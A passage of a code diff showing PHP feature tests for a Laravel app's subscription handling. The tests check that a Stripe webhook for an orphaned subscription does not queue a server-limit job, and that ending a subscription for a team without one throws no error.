test('does not dispatch ServerLimitCheckJob when team is null', function () {
|
||||
Queue::fake();
|
||||
|
||||
// Create subscription without a valid team relationship
|
||||
$subscription = Subscription::create([
|
||||
'team_id' => 99999,
|
||||
'stripe_subscription_id' => 'sub_orphan',
|
||||
'stripe_customer_id' => 'cus_orphan_test',
|
||||
'stripe_invoice_paid' => true,
|
||||
]);
|
||||
|
||||
$event = [
|
||||
'type' => 'customer.subscription.updated',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'customer' => 'cus_orphan_test',
|
||||
'id' => 'sub_orphan',
|
||||
'status' => 'active',
|
||||
'metadata' => [
|
||||
'team_id' => null,
|
||||
'user_id' => null,
|
||||
],
|
||||
'items' => [
|
||||
'data' => [[
|
||||
'subscription' => 'sub_orphan',
|
||||
'plan' => ['id' => 'price_dynamic_monthly'],
|
||||
'price' => ['lookup_key' => 'dynamic_monthly'],
|
||||
'quantity' => 5,
|
||||
]],
|
||||
],
|
||||
'cancel_at_period_end' => false,
|
||||
'cancellation_details' => ['feedback' => null, 'comment' => null],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertNotPushed(ServerLimitCheckJob::class);
|
||||
});
|
||||
});
|
||||
16
tests/Feature/Subscription/TeamSubscriptionEndedTest.php
Normal file
16
tests/Feature/Subscription/TeamSubscriptionEndedTest.php
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('subscriptionEnded does not throw when team has no subscription', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
// Should return early without error — no NPE
|
||||
$team->subscriptionEnded();
|
||||
|
||||
// If we reach here, no exception was thrown
|
||||
expect(true)->toBeTrue();
|
||||
});
|
||||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue